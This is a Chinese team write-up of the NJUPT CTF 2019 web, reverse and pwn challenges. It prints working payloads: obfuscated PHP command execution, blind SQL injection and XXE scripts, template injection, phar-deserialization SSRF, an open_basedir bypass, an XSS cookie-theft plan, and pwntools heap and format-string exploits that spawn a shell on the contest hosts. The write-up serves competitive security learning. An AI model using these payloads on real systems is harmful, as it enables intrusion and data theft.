NJUPT CTF 2019 WP by NepNep

2,101 阅读32分钟

By NepNep Union Team

本次2019南邮nctf上面,NepNep战队获得第三的好成绩,想加入NepNep战队的大佬请联系Hr贝塔小姐姐~(目前缺web、pwn):QQ1428905650

Web:

题目名称 | 题目状态 | working : xxx

easyphp| OPEN | working : 夏天 星辰 glotozz,linmoumou

1:num=23333%0a %0a截断

2:被自己蠢哭了,爆破脚本写错了。。-

$string_1 = '2120624';

$string_2 = 's214587387a';可以绕过

3:

nctf2019.x1ct34m.com:60005/?num=23333%…*

下划线用.绕过,l${x}s列目录,最后tac读下

hacker_backdoor**| OPEN | working;Kleinor,ding0x0,7ten7,晚风, 蓝小俊**

  1. 查看phpinfo
http://nctf2019.x1ct34m.com:60004/?code=?><?php $a='php'.'info';$a();?>&useful=index.php

disable_functions 中,命令执行函数 proc_open 未被过滤,waf()函数,可用拼接绕过。 2.

http://nctf2019.x1ct34m.com:60004/?code=?%3E%3C?php%20$b=%22p%22;$c=%22ipe%22;$test=%22/readflag%22;$g=%27c%27.%27h%27.%27r%27;$h=$g(95);$a=[[$b.$c,%22r%22],%20[$b.$c,%22w%22],%20[$b.$c,%22w%22]%20];$aa=%27p%27.%27r%27.%27o%27.%27c%27.$h.%27o%27.%27p%27.%27e%27.%27n%27;$fp=$aa($test,$a,$p);%20$d=%27stre%27.%27am%27.$h.%27ge%27.%27t%27.$h.%27c%27.%27o%27.%27n%27.%27t%27.%27e%27.%27n%27.%27t%27.%27s%27;echo%20$d($p[1]);?%3E&useful=index.php

补充:

本题大小写可以绕过函数检查

我参考蚁剑的方法构造payload

http://nctf2019.x1ct34m.com:60004/?code=?%3E%3C?php%20Echo%20Eval(cHr(0x70).cHr(0x68).cHr(0x70).cHr(0x69).cHr(0x6e).cHr(0x66).cHr(0x6f).cHr(0x28).cHr(0x29).cHr(0x3b))?%3E&useful=index.php

http://nctf2019.x1ct34m.com:60004/?code=?%3E%3C?php%20Echo%20evAl(cHr(0x24).cHr(0x61).cHr(0x3d).cHr(0x5b).cHr(0x5b).cHr(0x22).cHr(0x70).cHr(0x69).cHr(0x70).cHr(0x65).cHr(0x22).cHr(0x2c).cHr(0x22).cHr(0x72).cHr(0x22).cHr(0x5d).cHr(0x2c).cHr(0x20).cHr(0x5b).cHr(0x22).cHr(0x70).cHr(0x69).cHr(0x70).cHr(0x65).cHr(0x22).cHr(0x2c).cHr(0x22).cHr(0x77).cHr(0x22).cHr(0x5d).cHr(0x2c).cHr(0x20).cHr(0x5b).cHr(0x22).cHr(0x70).cHr(0x69).cHr(0x70).cHr(0x65).cHr(0x22).cHr(0x2c).cHr(0x22).cHr(0x77).cHr(0x22).cHr(0x5d).cHr(0x5d).cHr(0x3b).cHr(0x24).cHr(0x66).cHr(0x70).cHr(0x3d).cHr(0x70).cHr(0x72).cHr(0x6f).cHr(0x63).cHr(0x5f).cHr(0x6f).cHr(0x70).cHr(0x65).cHr(0x6e).cHr(0x28).cHr(0x22).cHr(0x2f).cHr(0x72).cHr(0x65).cHr(0x61).cHr(0x64).cHr(0x66).cHr(0x6c).cHr(0x61).cHr(0x67).cHr(0x22).cHr(0x2c).cHr(0x24).cHr(0x61).cHr(0x2c).cHr(0x24).cHr(0x70).cHr(0x29).cHr(0x3b).cHr(0x65).cHr(0x63).cHr(0x68).cHr(0x6f).cHr(0x20).cHr(0x73).cHr(0x74).cHr(0x72).cHr(0x65).cHr(0x61).cHr(0x6d).cHr(0x5f).cHr(0x67).cHr(0x65).cHr(0x74).cHr(0x5f).cHr(0x63).cHr(0x6f).cHr(0x6e).cHr(0x74).cHr(0x65).cHr(0x6e).cHr(0x74).cHr(0x73).cHr(0x28).cHr(0x24).cHr(0x70).cHr(0x5b).cHr(0x31).cHr(0x5d).cHr(0x29).cHr(0x3b));?%3E&useful=index.php

生成payload的方法:


#-*- encoding: utf-8 -*-

str1 = ""

with open("shell.php", "r") as f:

    code = f.read()
    
    # print(code)
    
    for i in code:
    
        if ord(i)== 10:
    
            continue
    
        str1 += ("cHr("+str(hex(ord(i)))+").")

print(str1)

shell.php内容:

$a=[["pipe","r"], ["pipe","w"], ["pipe","w"]];$fp=proc_open("/readflag",$a,$p);echo stream_get_contents($p[*1*]);

NCTF{u_arrree_S0_c3refu1_aaaaaaa}

SQLI|OPEN|working:黑白

单引号可以使用\来转义,or可以采用||,=可以采用regexp,

select被过滤...

最后的单引号闭合:

;%00可以闭合,

图片

username=\&passwd=/**/||passwd/**/regexp/**/0x79;%00

图片

写个脚本

#!/usr/bin/env python2

# coding=utf-8

import requests

s = requests.session()

url = "http://nctf2019.x1ct34m.com:40005/index.php"

headers = {

    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
    
    'Content-Type': 'application/x-www-form-urlencoded'

}

cookies = {

}

flag = ""

tmp = 0

easy_strings = [ord(i) for i in '#abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_']

# print(easy_strings)

def change(b):

    res1 = ""
    
    for i in b:
    
        res1 += hex(ord(i))
    
    res1 = res1.replace("0x", "")
    
    res1 = "0x" + res1
    
    print(res1)
    
    return res1

for k in 'eiklnoruvwyEIKLNORUVWY0789_':

    flag = k
    
    for i in range(1, 100):
    
        if tmp == 1:
    
            break
    
        tmp = 1
    
        for j in easy_strings:
    
            # payload = change(chr(j)) # 找出第一个字符的所有可能性
    
            payload = change(flag + chr(j))
    
            # param = "/**/||username/**/regexp/**/{};{}".format(payload, chr(0))
    
            param = "/**/||passwd/**/regexp/**/{};{}".format(payload, chr(0))
    
            # print(param)
    
            data = {
    
                'username': '\\',
    
                'passwd': param
    
            }
    
            r = requests.post(url=url, headers=headers, data=data)
    
            # print(r.status_code)
    
            # print r.content.decode('utf-8')
    
            if "go back to get the password" in r.content.decode("utf-8"):
    
                print j
    
                flag = flag + chr(j)
    
                tmp = 0

  break

                print(flag)
    
    print(flag)
    
    tmp = 0

图片

其实第一位可以不遍历,用^匹配就行。。。

NCTF{SQLi_is_not_Just_sq1}


$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

过滤的关键字如上

Fake xml cookbook|OPEN|working:einhhhh

Fake xml cookbook|OPEN|working:晚风

Fake XML cookbook | open | finish :glotozz

图片


<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE ANY [  

	<!ENTITY xxe SYSTEM "file:///flag">

]>

<user><username>&xxe;</username><password>123123</password></user>

True XML cookbook |open|working:l1ngfeng 晚风

读取/etc/hosts发现有个内网ip,读取/proc/net/arp发现很多内网ip,一个一个探测即可

图片

**思路:看作者这篇文章 gv7.me/articles/20…

flask| OPEN | working: ding0x0

http://nctf2019.x1ct34m.com:40007/%7B%7B[].__class__.__base__.__subclasses__()[40](('galf/'%7Creverse)).read()%7D%7D

flask模板注入

过滤了flag字符串,用jinja语法反转字符串绕过

NCTF{Y0u_can_n0t_Read_flag_directly}

Upload your Shell|SOLVED|晚风

图片

会检测扩展名、content-type、文件内容是否包含<?、已经文件头是否为文件,绕过措施: 1.扩展名改为jpg配合文件包含, 2.content-type改为image/jpeg,

<script language="php"></script>,

4.文件头加上gif89a,后访问http://nctf2019.x1ct34m.com:60002/index.php?action=upload-imgs/b854aa72bbb13abd82dde9fe7b728d0b/Th1s_is_a_fl4g.jpg 即可get flag

图片

simple_xss** | Working| working : KanoWill**

XSS任意脚本执行,思路:

由于admin用户存在,向其发送xss代码,恶意js代码将admin的登录cookie发送到xss接收平台上,盗用cookie登录admin账号,应该就可以获得flag了,我今晚休息了,愿意按照这个思路做完的可以试试,9成把握可以这样解开。

simple_xss** | SOLVED| l1ngfeng**

XSS 没啥过滤,直接闭合上一个标签再插script标签进去,发给admin,最后平台收cookie 思路如上

replace | working |glotozz

猜测是/e的代码执行,测试之后发现源码中已经存在/e

图片

发现单引号被过滤,使用chr()绕过即可

图片

phar matches everything|open|晚风 glotozz 黑白

访问nctf2019.x1ct34m.com:40004/.catchmime.… 可以下载vim泄露的swp文件

从swp文件里恢复出的原代码

<?php
class Easytest{
    protected $test;
    public function funny_get(){
        return $this->test;
    }
}

class Main {
    public $url;
    public function curl($url){
        $ch = curl_init();  
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        $output=curl_exec($ch);
        curl_close($ch);
        return $output;
    }
public function __destruct(){
        $this_is_a_easy_test=unserialize($_GET['careful']);
        if($this_is_a_easy_test->funny_get() === '1'){
            echo $this->curl($this->url);
        }
    }    
}
if(isset($_POST["submit"])) {
    $check = getimagesize($_POST['name']);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
    } else {
        echo "File is not an image.";
    }
}
?>

getimagesize($file_path)就可以触发phar反序列化

应该是生成phar文件,getimagesize触发

参考:www.jb51.net/article/148…

<?php
class Main {
    public $url='http://nctf2019.x1ct34m.com:40004/uploads/';
}

$jpeg_header_size =
    "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
    "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
    "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
    "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
    "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
    "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
    "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
    "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
    "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
    "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new Main();
$phar->setMetadata($o);
$phar->stopBuffering();

生成的phar文件,改后缀名为jpeg可以绕过,getimagesize的检测: 图片

getimagesize如何触发,phar序列化,暂时找不到方法。

图片

图片

内网探测:10.0.0.3 tql

师傅能写一下。phar包里,写的是啥吗?我写etc/passwd,啥也获取不到....

你把那个url改成

233333,这是怎么想到的...

hint:very close,先看下/etc/hosts和/proc/net/arp

大佬大佬

我是菜鸡

tql,这道题应该快要出来了,接下来就是我的知识盲区了,大佬做出了,写个wp,我膜一下

我也是盲区。。xz.aliyun.com/t/5598#toc-…

办正事呢好吗,别吹了大佬tql


<?php

    class Main {

	    public $url = "http://10.0.0.3";
	
	    public function curl($url){
	
	        $ch = curl_init();  
	
	        curl_setopt($ch,CURLOPT_URL,$url);
	
	        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
	
	        $output=curl_exec($ch);
	
	        curl_close($ch);
	
	        return $output;
	
	    }
	
	public function __destruct(){
	
	        $this_is_a_easy_test=unserialize($_GET['careful']);
	
	        if($this_is_a_easy_test->funny_get() === '1'){
	
	            echo $this->curl($this->url);
	
	        }
	
	    }    
	
	}

    @unlink("phar.phar");

    $phar = new Phar("phar.phar"); //后缀名必须为phar

    $phar->startBuffering();

    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub

    $o = new Main();

    $phar->setMetadata($o); //将自定义的meta-data存入manifest

    $phar->addFromString("test.txt", "test"); //添加要压缩的文件

    //签名自动计算

    $phar->stopBuffering();

?>

图片

具体参考上面的链接利用Gopher:// 进行SSRF

evoa.me/index.php/a…这个最香

利用gopherus(有毒)生成一下,打一下,发现system()被禁用,后来环境有点问题溜了溜了

又回来了

图片

图片

利用mkdir('/tmp/fuck');chdir('/tmp/fuck');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));readfile('/flag');绕过open_basedir()即可

图片

图片

flask_website| open | working :glotozz**,晚风****,L1ngFeng**

图片

参考:xz.aliyun.com/t/2553?tdso…

生成pin码必要文件:

  1. username #用户名,可以查看/etc/passwd
  2. modename #flask.app
  3. getattr(app,'name',getattr(app.class,'name')) # Flask
  4. getattr(mod,'file',None) #app.py的绝对路径
  5. uuid.getnode() #mac地址十进制
  6. get_machine_id() #/etc/machine-id,

读取到/etcpasswd

root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin 
ctf:x:1000:1000:Linux User,,,:/ctf:/bin/ash

mac-address:02:42:ac:16:00:02 绝对路径:/usr/local/lib/python3.6/site-packages/flask/app.py

machine-id:21e83dfd-206c-4e80-86be-e8d0afc467a1

图片

错的😥

图片

修改机器码

图片

机器码去掉横杠也不对... (同一个ip一直猜解pin竟然会被ban掉,过一会儿才恢复)

可能是mac地址转为十进制这步出错了?

.pyc和.py 都不行

检查过了,没有pyc这个文件,不用试pyc了,应该就是py

mac是没有错误的,十进制到十六进制复原是正确的

感觉被网上的文章误导了,/etc/machine-id不等于/proc/sys/kernel/random/boot_id

图片

正确的是读容器id tql 没有想到

Reverse:

题目名称 | 题目状态 | working : xxx

签到题|SOLVED|fjh1997

假的签到题,不会解非齐次线性方程组的同学根本不会做好不。

打开ida发现要对输入进行非齐次线性方程的验证,那么其实就是解方程呗

图片

from numpy import *
import numpy as np
a = np.array([[12, 53, 6,34,58,36,1],
			[83,85,12,73,27,96,52],
			[78,53,24,36,86,25,46],
			[39,78,52,9,62,37,84],
			[23,6,14,74,48,12,83],
			[27,85,92,42,48,15,72],
			[4,6,3,67,0,26,68]])
b = np.array([[18564],[37316],[32053],[33278],[23993],[33151],[15248]]) 
result=[]
x = np.linalg.solve(a, b)
result += x.tolist() 
b = np.array([[13719],[34137],[27391],[28639],[18453],[28465],[12384]]) 
x = np.linalg.solve(a, b)
result += x.tolist() 
b = np.array([[20780],[45085],[35827],[37243],[26037],[39409],[17583]]) 
x = np.linalg.solve(a, b)
result += x.tolist() 
b = np.array([[20825],[44474],[35138],[36914],[25918],[38915],[17672]]) 
x = np.linalg.solve(a, b)
result += x.tolist() 
b = np.array([[21219],[43935],[37072],[39359],[27793],[41447],[18098]]) 
x = np.linalg.solve(a, b)
result += x.tolist() 
b = np.array([[21335],[46164],[38698],[39084],[29205],[40913],[19117]]) 
x = np.linalg.solve(a, b)
result += x.tolist() 
b = np.array([[21786],[46573],[38322],[41017],[29298],[43409],[19655]]) 
x = np.linalg.solve(a, b)
result += x.tolist() 
flag=''
for i in result:
	for f in i:
		flag+=chr(int(f+0.5))
print flag

解出来转化为ascii就完事了 NCTF{nctf2019_linear_algebra_is_very_interesting}

Our 16bit Games|SOLVED|fjh1997

估计被我非预期了,呵呵

ida拖到最后发现这个东西,一看就是打印flag,但是里面的数字貌似不是asci形式,注意其中的xchg指令,是交换变量的意思也就是有两个变量参与flag的 异或,每异或一次就互相交换一次,那么第一个8E要变成‘N’也就是4E要异或C0

第二个9D要变成C也就是43要异或DE

上下异或然后就有flag了

8E 9D 94 98 BB 89 F3 EF 83 EE AD 9B 9F EC 9F 9A F0 EB 9F 97 F6 BC F1 E9 9F E7 A1 B3 F3 A3

C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE C0 DE 

NCTF{W31C0mE_2_D05_I6b17_9am3}

图片 ### DEBUG|SOLVED|Qfrost 运算过程固定,与输入无关,且存储flag的内存连续,直接pwndbg连上后tele打印栈或者ida动调改ZF位记录al寄存器的值即可。

图片

难看的代码 | SOLVED | lzyddf

此题存在大量混淆与指令加密,适合使用x32dbg进行动态调试

首先通过定位字符串来到main函数

图片

先来看第一层加密

首先通过第一个循环对输入的前8位进行加密

图片

图片

再通过第二个循环对输入的每一位进行一次加密

图片

第一层加密后的结果

图片

通过C语言脚本进行验证

#include <stdio.h>
#include <windows.h>
int main()
{
       BYTE input[0x20] = {"NCTF{678901234567890123}"};
       for(int i=0; i<2; i++)
       {
              input[i*4]     += 0xC;
              input[i*4 + 1] += 0x22;
              input[i*4 + 2] += 0x38;
              input[i*4 + 3] += 0x4E;
       }
       for(int i=0; i<24; i++)
       {
              input[i] = (input[i]<<3) ^ (input[i]>>5) ^ 0x5A;
              printf("%X ", input[i]);
       }
}

执行结果: 图片

目前为止都很顺利


再来看第二层加密

开头有一个循环

图片

图片

下面才是关键

图片

查看40166A

图片

一堆mov,不是很好理解,使用x32dbg自带的反编译功能

图片

图片

可以看到一共执行了32次循环

先看看调用三次后的加密结果

图片

使用C语言实现:

struct s0 {
    DWORD f0;
    DWORD f4;
};
struct s1 {
    DWORD f0;
    DWORD f4;
    DWORD f8;
    DWORD f12;
};
void fun_40166a(struct s0* a1, struct s1* a2) {
    DWORD v3;
    DWORD v4;
    DWORD v5;
    DWORD v6;
    DWORD v7;
    DWORD v8;
    DWORD v9;
    DWORD v10;

    v3 = a1->f0;
    v4 = a1->f4;
    v5 = 0;
    v6 = a2->f0;
    v7 = a2->f4;
    v8 = a2->f8;
    v9 = a2->f12;
    v10 = 0;
    while (v10 <= 31) {
        v5 = v5 - 0x61c88647;
        v3 = v3 + (v7 + (v4 >> 5) ^ ((v4 << 4) + v6 ^ v5 + v4));
        v4 = v4 + (v9 + (v3 >> 5) ^ ((v3 << 4) + v8 ^ v5 + v3));
        ++v10;
    }
    a1->f0 = v3;
    a1->f4 = v4;
    return;
}

图片

至此,两个正向加密的逻辑已经完全分析出来了


再来看main函数之后又做了什么

图片

查看403005,为固定的一串二进制串

图片

好了,整个程序流程已经分析完毕,可以开始逆向分析了


本来想通过对第二层加密进行逆向,得到介于第一层加密和第二层加密之间的一个flag

尝试写了爆破脚本,甚至尝试了符号执行,仍然未得到正确解

直到快5点钟的时候,注意到了这个东西,猜想会不会是一个关键信息

图片

百度结果如下:

图片

也就是说0x61c88647TEA加密的一个特征

借大佬的逆向脚本一用

#define _DWORD unsigned int
#define HIDWORD(x) (*((_DWORD *)&(x) + 1))
#define LODWORD(x) (*((_DWORD *)&(x)))

//TEA解密算法
long long xxxx_decrypt(int a1, int a2)
{
    int v2;
    int v3;
    int v4;
    unsigned int v5;
    unsigned int v6;
    int v7;
    long long v9;
 
    v2 = *(int *)(a2 + 8); //v2=0xFEDCBA98
    v3 = *(int *)a2;       //v3=0x1234567
    v4 = *(int *)(a2 + 4); //v4=0x89ABCDEF
    v5 = *(int *)a1;
    v6 = *(int *)(a1 + 4);
    HIDWORD(v9) = *(int *)(a2 + 12);
    v7 = 0xC6EF3720;
    LODWORD(v9) = v2; //v9=0x76543210FEDCBA98
    do
    {
        v6 -= ((v5 >> 5) + HIDWORD(v9)) ^ (16 * v5 + v2) ^ (v5 + v7);
        v5 -= ((v6 >> 5) + v4) ^ (16 * v6 + v3) ^ (v6 + v7);
        v7 += 0x61C88647;
    } while (v7 != 0);
    *(int *)a1 = v5;
    *(int *)(a1 + 4) = v6;
    return v9;
}

得到第一层加密后的flag为: 0x88,0x71,0x3E,0xFE,0x66,0xF6,0x77,0xD7,

0xA0,0x51,0x29,0xF9,0x11,0x79,0x71,0x49,

0xF1,0x61,0xA0,0x09,0xF1,0x29,0x01,0xB1


然后对第一层加密进行单字节爆破即可,脚本:

#include <stdio.h>
#include <windows.h>

int main()
{
       BYTE check[] = {
              0x88,0x71,0x3E,0xFE,0x66,0xF6,0x77,0xD7,
              0xA0,0x51,0x29,0xF9,0x11,0x79,0x71,0x49,
              0xF1,0x61,0xA0,0x09,0xF1,0x29,0x01,0xB1};
       BYTE input[0x20] = {0};
       BYTE input_bak[0x20] = {"NCTF{"};

       while(1)
       {
              int p = 1;
              int i=0;
              strcpy((char*)input, (char*)input_bak);
              for(int i=0; i<2; i++)
              {
                     input[i*4]     += 0xC;
                     input[i*4 + 1] += 0x22;
                     input[i*4 + 2] += 0x38;
                     input[i*4 + 3] += 0x4E;
              }
              for(i=0; i<24; i++)
              {
                     input[i] = (input[i]<<3) ^ (input[i]>>5) ^ 0x5A;
                     if(input[i] != check[i])
                     {
                            input_bak[i]++;
                            if(input_bak[i] == 127)
                            {
                                   input_bak[i] = 32;
                            }
                            p = 0;
                            break;
                     }
              }
              if(i == 24)
              {
                     break;
              }
       }
       puts((char*)input_bak);
       system("pause");
}

图片

Pwn:

题目名称 | 题目状态 | working : xxx

hello_pwn | SOLVED | Qfrost

pwntools连上去输入一个“a”就有flag了。

pwn me 100 years! | SOLVED | Qfrost

from pwn import *
import sys
context.log_level='debug'
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./pwn_me_1")
payload="yes\x00".ljust(0x10,"a") + p64(0x66666666)
sh.recvuntil("ready?\n")
sh.sendline(payload)
sh.interactive()
print(sh.recv())

pwn me 100 year!(II) | SOLVED | Qfrost

第一个read可以输入%p导致pie泄露,然后确定key的位置,然后printf的格式化字符串漏洞改一下值就好了

#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn_me_2")
lib = 0
sh = 0
def pwn(ip,port,debug):
 global lib
 global sh
 if(debug == 1):
  sh = process("./pwn_me_2")
  lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 else:
  sh = remote(ip,port)
  lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 sh.sendlineafter(':',"a" * 0x10 + "%p\x00")
 sh.recvuntil("preparing......\n")
 pie = int(sh.recvuntil("pwn me 100",True),16) - 0x563519b85080 + 0x563519983000
 key = pie + 0x2020E0
 payload = "%" + str(0x6666) + "d%10$hn%11$hn"
 payload = payload.ljust(0x30 - 0x10,'\x00')
 payload += p64(key) + p64(key+2)
 sh.sendlineafter("?",payload)
 sh.interactive()
if __name__ == "__main__":
 pwn("139.129.76.65",50005,0)

pwn me 100 year!(III) | SOLVED | Qfrost

先利用malloc和free在read之后的末尾字节未置零从而实现heap leak,edit功能存在0x10字节的溢出,利用fastbin attack即可修改heap头的堆块,触发backdoor

#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn_me_3")
lib = 0
sh = 0
def pwn(ip,port,debug):
 global lib
 global sh
 if(debug == 1):
  sh = process("./pwn_me_3")
  lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 else:
  sh = remote(ip,port)
  lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 def add(size,content):
  sh.sendlineafter("exit","1")
  sh.sendlineafter(":",str(size))
  sh.sendafter(":",content)
 def edit(idx,content):
  sh.sendlineafter("exit","4")
  sh.sendlineafter(":",str(idx))
  sh.sendafter(":",content)
 def free(idx):
  sh.sendlineafter("exit","2")
  sh.sendlineafter(":",str(idx))
 def show(idx):
  sh.sendlineafter("exit","3")
  sh.sendlineafter("idx",str(idx))
 add(0x18,'a' * 0x18)
 add(0x18,'b' * 0x18)
 free(0)
 free(1)
 add(8,'\n')
 add(0,'')
 show(0)
 sh.recvuntil("\n")
 heap_base = u64(sh.recvuntil("\n1,a",True)[-4:].ljust(8,'\x00')) - 0xa
 log.success("heap_base: " + hex(heap_base))
 add(0x18,'c' * 0x18)
 free(2)
 edit(1,'a' * 0x10 + p64(0x20) + p64(0x41))
 free(0)
 add(0x38,'a' * 0x18 + p64(0x21) + p64(heap_base))
 add(0x18,p32(0xdeadbeef))
 add(0x18,p32(0x66666666))
 sh.sendline("5")
 sh.interactive()
if __name__ == "__main__":
 pwn("139.129.76.65",50006,0)

本想用fastbin_attack,把free_got修改成后门函数,结果延迟绑定的时候炸了。所以用了retlibc的思路,将free_got修改成system,再提前准备"/bin/sh\x00"字符串,再free的时候就可以拿到shell了。 exp2:

from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./pwn_me_3")
def creat(chunk_size,value):
    sh.recvuntil('5,exit')
    sh.sendline('1')
    sh.recvuntil('size:')
    sh.sendline(str(chunk_size))
    sh.recvuntil('content:')
    sh.sendline(value)
def delete(index):
    sh.recvuntil('5,exit')
    sh.sendline('2')
    sh.recvuntil('idx:')
    sh.sendline(str(index))
def show(index):
    sh.recvuntil('5,exit')
    sh.sendline('3')
    sh.recvuntil('idx')
    sh.sendline(str(index))

def edit(index,value):
    sh.recvuntil('5,exit')
    sh.sendline('4')
    sh.recvuntil('idx:')
    sh.sendline(str(index))
    sh.recvuntil('content:')
    sh.sendline(value)
creat(0x18,'Chunk0')
creat(0x10,'Chunk1')
creat(0x50,'Chunk2')
creat(0x50,'Chunk3')
creat(0x50,'/bin/sh\x00')
delete(3)
delete(2)
edit(0,'A'*0x10+p64(0)+p64(0x81))
delete(1)
creat(0x70,'A'*0x10+p64(0)+p64(0x61)+p64(0x601ffa))
creat(0x50,'Chunk5')
creat(0x50,'')
show(3)
important_info=sh.recvuntil('\x0a').strip('\x0a')
edit(3,'A'*0x5)
show(3)
sh.recvuntil('A'*0x5+'\x0a')
important_address=u64(sh.recvuntil('\x0a').strip('\x0a').ljust(8,'\x00'))
libc_base=important_address-0x3E1EE0
log.success('libc base is '+str(hex(libc_base)))
system_address=libc_base+libc.symbols['system']
sh.recvuntil('5,exit')
sh.sendline('4')
sh.recvuntil('idx:')
sh.sendline(str(3))
sh.recvuntil('content:')
sh.send('\x0A'+p64(important_address)[3:6]+'\x00'*2+p64(important_address)+p64(system_address))
delete(4)
sh.interactive()

